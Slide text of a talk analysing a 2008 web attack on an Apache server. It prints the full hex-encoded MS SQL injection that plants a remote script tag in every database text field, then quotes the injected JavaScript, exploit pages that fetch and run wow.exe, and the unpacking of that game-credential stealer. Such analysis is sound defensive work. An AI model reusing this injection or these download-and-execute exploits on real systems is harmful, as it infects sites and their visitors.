1. Let’s play a game
A true story of a web attack analysis
2. Introduction
Once upon a time, there was a personal
webserver running Apache with
mod_security(*) module
And then, something interesting
happened...
(*) An extremely useful module providing an additional level of security
@JirkaV
3. The logfile entry
This entry appeared in the log:
Message: Warning. Pattern match
"(?:b(?:(?:s(?:electb(?:.{1,100}?b(?:(?:length|count|top)b.{1,100}?bfrom|fromb
.{1,100}?bwhere)|.*?b(?:d(?:umpb.*bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(
?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at
ARGS:;DECLARE @S CHAR(4000);SET @S. [id "950001"] [msg "SQL Injection Attack. Matched
signature <cast(>"] [severity "CRITICAL"]
GET
/Bristol/BVC_Cambridge/?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520405420
7661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F43
7572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379
736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E642061
2E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F722062
2E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F7220
4645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C
4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B
275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C73637269707420
7372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D
272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074
207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D
2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043
20454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43757273
6F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1
@JirkaV
4. The logfile entry
This entry appeared in the log:
Message: Warning. Pattern match
"(?:b(?:(?:s(?:electb(?:.{1,100}?b(?:(?:length|count|top)b.{1,100}?bfrom|fromb
.{1,100}?bwhere)|.*?b(?:d(?:umpb.*bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(
?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at
ARGS:;DECLARE @S CHAR(4000);SET @S. [id "950001"] [msg "SQL Injection Attack. Matched
signature <cast(>"] [severity "CRITICAL"]
GET
/Bristol/BVC_Cambridge/?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520405420
7661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F43
7572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379
736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E642061
2E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F722062
2E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F7220
4645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C
4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B
275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C73637269707420
7372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D
272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074
207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D
2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043
20454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43757273
6F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1
@JirkaV
5. Peeling the first layer
Let’s focus on the important stuff:
/Bristol/BVC_Cambridge/?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4152452
04054207661726368617228323535292C40432076617263686172283430303029204445434C41524520
5461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E6
16D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622077686572652061
2E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206
F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D3136
3729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626
C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D
302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B2
75D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A
2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2727207768657
26520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372
633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212
D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434154452054616
26C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1
@JirkaV
6. Peeling the first layer
Let’s focus on the important stuff:
DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4152452
04054207661726368617228323535292C40432076617263686172283430303029204445434C41524520
5461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E6
16D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622077686572652061
2E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206
F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D3136
3729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626
C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D
302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B2
75D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A
2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2727207768657
26520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372
633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212
D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434154452054616
26C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
@JirkaV
7. Peeling the first layer
Let’s focus on the important stuff:
CAST(0x4445434C4152452
04054207661726368617228323535292C40432076617263686172283430303029204445434C41524520
5461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E6
16D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622077686572652061
2E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206
F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D3136
3729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626
C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D
302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B2
75D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A
2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2727207768657
26520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372
633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212
D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434154452054616
26C655F437572736F72
@JirkaV
8. Peeling the first layer
Let’s focus on the important stuff:
CAST(0x4445434C4152452
04054207661726368617228323535292C40432076617263686172283430303029204445434C41524520
5461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E6
16D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622077686572652061
2E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206
F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D3136
3729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626
C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D
302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B2
75D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A
2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2727207768657
26520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372
633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212
D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434154452054616
26C655F437572736F72
@JirkaV
9. Peeling the first layer
Let’s focus on the important stuff:
CAST(0x4445434C4152452
04054207661726368617228323535292C40432076617263686172283430303029204445434C41524520
5461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E6
16D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622077686572652061
44
45
43
4C
41
D
E
C
L
A
Those numbers seem to be ASCII codes in hex (base 16)
4445434C41
Let’s write a quick conversion utility
( in Python – my favourite )
@JirkaV
10. Peeling the first layer
Convert to readable text:
4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204
445434C415245205461626C655F437572736F7220435552534F5220464F52...
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select
a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETC
H NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update
['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.j
s"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.ve
rynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOS
E Table_Cursor DEALLOCATE Table_Cursor
from binascii import unhexlify
data = '4445434C415245204054207661726368...
text = []
for idx in range(len(data)/2):
text.append(unhexlify(data[2*idx:2*idx+2]))
print ''.join(text)
@JirkaV
11. Peeling the first layer
Analyze the SQL command:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select
a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETC
H NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update
['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.j
s"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.ve
rynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOS
E Table_Cursor DEALLOCATE Table_Cursor
@JirkaV
12. Peeling the first layer
Analyze the SQL command:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select
a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETC
H NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update
['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.j
s"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.ve
rynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOS
E Table_Cursor DEALLOCATE Table_Cursor
• sysobjects, syscolumns => targets MS SQL database
@JirkaV
13. Peeling the first layer
Analyze the SQL command:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select
a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETC
H NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update
['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.j
s"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.ve
rynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOS
E Table_Cursor DEALLOCATE Table_Cursor
• sysobjects, syscolumns => targets MS SQL database
• xtype=‘u’ => searches for object type “user table” ...
@JirkaV
14. Peeling the first layer
Analyze the SQL command:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select
a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETC
H NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update
['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.j
s"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.ve
rynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOS
E Table_Cursor DEALLOCATE Table_Cursor
• sysobjects, syscolumns => targets MS SQL database
• xtype=‘u’ => searches for object type “user table” ...
• xtype=99, 35, ... => ... containing text (use Google)
@JirkaV
15. Peeling the first layer
Analyze the SQL command:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select
a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETC
H NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update
['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.j
s"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.ve
rynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOS
E Table_Cursor DEALLOCATE Table_Cursor
• sysobjects, syscolumns => targets MS SQL database
• xtype=‘u’ => searches for object type “user table” ...
• xtype=99, 35, ... => ... containing text (use Google)
• update => modifies the text in the database
@JirkaV
16. Peeling the first layer
Analyze the SQL command:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select
a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETC
H NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update
['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.j
s"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.ve
rynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOS
E Table_Cursor DEALLOCATE Table_Cursor
• sysobjects, syscolumns => targets MS SQL database
• xtype=‘u’ => searches for object type “user table” ...
• xtype=99, 35, ... => ... containing text (use Google)
• update => modifies the text in the database
• injecting this HTML code, referencing a JavaScript
@JirkaV
17. Summary #1
The SQL injection tries to modify data in the
database serving HTML pages, hoping to inject a
reference to malicious JavaScript code into every
page in the database
Technically, it tries to modify any text in the
database
Any web browser visiting the site after the attack
would fetch and execute the JavaScript code
So, what would the JavaScript do?
@JirkaV
18. Analyzing the JavaScript
Download the JavaScript
Downloading JavaScript alone from its URL is relatively
safe. There is no command to execute it, so the browser
does not interpret it and displays it as a regular text
This makes it easy to analyze
Let’s download http://abc.verynx.cn/w.js
@JirkaV
20. Analyzing the JavaScript
w.js analysis – stripped down to its backbone
window.onerror=function(){return true;}
document.write("<iframe width=100 height=100 src=http://mm.ll80.com/flash.htm></iframe>");
document.write("<iframe width=100 height=100 src=http://mm.ll80.com/123.htm></iframe>");
@JirkaV
21. Analyzing the JavaScript
Downloading the dangerous code
Since downloading the pages using a browser would do
exactly what the attacker wanted, we’ll use safer approach
wget will download the HTML, but will not interpret it
$ wget http://mm.ll80.com/123.htm
--2008-07-23 19:55:09-- http://mm.ll80.com/123.htm
Resolving mm.ll80.com... 60.173.11.119
Connecting to mm.ll80.com|60.173.11.119|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 431 [text/html]
Saving to: `123.htm'
@JirkaV
22. Analyzing the JavaScript
Side note
At this point, I’ve switched to Linux simple because the
necessary tools are easily available there and the risk of
doing something stupid (such as clicking on some HTML
file) is a bit smaller.
Also, any possibly malicious code is slightly less likely to
work – one of the reasons is that the attacker(s) seem to
target Microsoft world (MS SQL, remember?)
@JirkaV
23. Analyzing the injected HTML
Analyzing the HTML
Opening the HTML in a browser would be as bad as
downloading it ...
... so we’ll use anything that does NOT understand HTML
$ more 123.htm
<iframe width=100 height=0 src=Ms06-014.htm>
</iframe><iframe width=100 height=0 src=flash.htm>
</iframe><iframe width=100 height=0 src=SP2.htm>
</iframe><iframe width=100 height=0 src=Realplayer11.htm>
</iframe><iframe width=100 height=0 src=Norton.htm>
</iframe><iframe width=100 height=0 src=pxhack.htm>
</iframe><script language="javascript“
type="text/javascript"src="http://js.users.51.la/2018815.js"></script>
@JirkaV
24. Analyzing the injected HTML
Getting some more HTML
Time to download the other referenced HTML files
Again, using “wget”
It turns out, that each HTML file targets one vulnerability,
trying to exploit it and download an executable
Let’s take a look...
@JirkaV
25. Analyzing the injected HTML
Analyzing one exploit
$ more Ms06-014.htm
Svfox='http://mm.ll80.com/wow.exe';
qq853327659='C:MicroSoft.pif';
var Svfox_net=window["document"]["createElement"]("object");
Svfox_net["setAttribute"]("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var Svfox2=Svfox_net["CreateObject"]("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");
var Svfox3=Svfox_net["CreateObject"]("Adodb.Stream","");
Svfox3["type"]=1;
www_svfox_net=gn(10000);
var hHf$R6=Svfox_net["CreateObject"]("Scripting.FileSystemObject","");
var VgDnZXHt7=hHf$R6["GetSpecialFolder"](0);
www_svfox_net=hHf$R6["BuildPath"](VgDnZXHt7,www_svfox_net);
var SmAcqIwGV8=Svfox_net["CreateObject"]("Shell.Application","");
exp1=hHf$R6["BuildPath"](VgDnZXHt7+'system32','cmd.exe');
SmAcqIwGV8["SHellExECuTe"](exp1,' /c echo C:MicroSoft.pif >C:MicroSoft.bat&echo del %0
>>C:MicroSoft.bat',"","open",0);
@JirkaV
26. Analyzing the injected HTML
Another exploit
$ more pxhack.htm
<a href="http://www.pxhac<script defer>
var objFSO = new ActiveXObject('Scripting.FileSystemObject');
var objStream = objFSO.OpenTextFile(strFile,ForWriting,true,false);
objStream.WriteLine('var objArgs = 'http://mm.ll80.com/wow.exe';');
objStream.WriteLine('var objargss ='c:gtest.exe';');
objStream.WriteLine('var sGet=new ActiveXObject('ADODB.Stream');');
objStream.WriteLine('try {');
objStream.WriteLine('xGet = new XMLHttpRequest();');
objStream.WriteLine('}');
objStream.WriteLine('catch (trymicrosoft) {');
objStream.WriteLine('try {');
objStream.WriteLine('xGet = new ActiveXObject('Msxml2.XMLHTTP');');
@JirkaV
27. Analyzing the injected HTML
Exploits summary
All the HTML pages served only one purpose:
To download wow.exe and execute it on victim’s computer
To achieve that, the attack tried to exploit multiple vulnerabilities
in parallel to increase success probability.
The attack tried to exploit a web browser, flash, RealPlayer, ...
Why? Let’s see...
But first, another summary
@JirkaV
28. Summary #2
The SQL injection tried to modify HTML pages in
the database ...
It is time to look at wow.exe
... so anyone visiting this site would run
JavaScript from another site...
... that loaded several pages with various
exploits ...
... all trying to download and execute
wow.exe on our visitor’s PC
... the name rings a bell, but let’s not
jump into conclusions...
@JirkaV
30. Analyzing the binary
Unpacking
$ upx -d wow.exe
Ultimate Packer for eXecutables
Copyright (C) 1996,1997,1998,1999,2000,2001,2002,2003,2004,2005,2006
UPX 2.02 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 13th 2006
File size Ratio Format Name
-------------------- ------ ----------- -----------
43110 <- 33382 77.43% win32/pe wow.exe
But the unpacked file is still not very readable. What now?
Time for a long shot – what if it’s double-packed?
$ xxd wow.exe | grep UPX
0005100: 0000 0000 0000 0000 5550 5830 0000 0000 ........UPX0....
0005130: 5550 5831 0000 0000 0050 0000 0020 0100 UPX1.....P... ..
00052f0: 5550 5821 0d09 0209 fd3d 1daa 6ca2 d7ff UPX!.....=..l...
@JirkaV
31. Analyzing the binary
Unpacking wow.exe – the second time
$ upx -d wow.exe
Ultimate Packer for eXecutables
Copyright (C) 1996,1997,1998,1999,2000,2001,2002,2003,2004,2005,2006
UPX 2.02 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 13th 2006
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: wow.exe: NotPackedException: not packed by UPX
Obviously, there is a bit of magic going on
But we don’t really care – we know a secret
@JirkaV
32. Analyzing the binary
Unpacking wow.exe – the second time
(again)
$ xxd wow.exe | grep MZ
0000000: 4d5a 5000 0200 0000 0400 0f00 ffff 0000 MZP.............
0004f10: 4d5a 5000 0200 0000 0400 0f00 ffff 0000 MZP.............
0006c30: 4402 c34d 5a89 50fc 1920 065b aef8 4ed7 D..MZ.P.. .[..N.
Hmm, it seems that we have two headers there.
Time to ask Python for help again...
>>> data = open('wow.exe', 'rb').read()
>>> data = data[0x4f10:]
>>> open('wow_int.exe', 'wb').write(data)
@JirkaV
33. Analyzing the binary
Unpacking wow.exe – the second time
(again)
$ ls -lh wow*
-rw-r--r-- 1 jirka users 43K 2008-07-23 07:29 wow.exe
-rw-r--r-- 1 jirka users 23K 2008-08-02 01:02 wow_int.exe
$ upx -d wow_int.exe
Ultimate Packer for eXecutables
Copyright (C) 1996,1997,1998,1999,2000,2001,2002,2003,2004,2005,2006
UPX 2.02 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 13th 2006
File size Ratio Format Name
-------------------- ------ ----------- -----------
44886 <- 22870 50.95% win32/pe wow_int.exe
@JirkaV
34. Analyzing the binary
Unpacking wow.exe – the second time
(again)
$ strings wow_int.exe | more
TObject
u:hD
SVWUQ
SOFTWAREBlizzard EntertainmentWorld of Warcraft
cn4.grunt.wowchina.com
cn6.grunt.wowchina.com
kr.logon.worldofwarcraft.com
eu.logon.worldofwarcraft.com
tw.logon.worldofwarcraft.com
/flash.asp
QQQQQ3
ZYYd
offline
action=
update
@JirkaV
35. Conclusion
What next?
The next step would be figuring out what
exactly the code does with World of
Warcraft...
...but games are not my cup of tea so
I’ll stop here.
@JirkaV
36. Overall Summary
So, the attack was using vulnerable web server
to attack its clients.
Each client would be attacked using range of
exploits in order to download and execute
double-packed file
This file would contact World of Warcraft servers
@JirkaV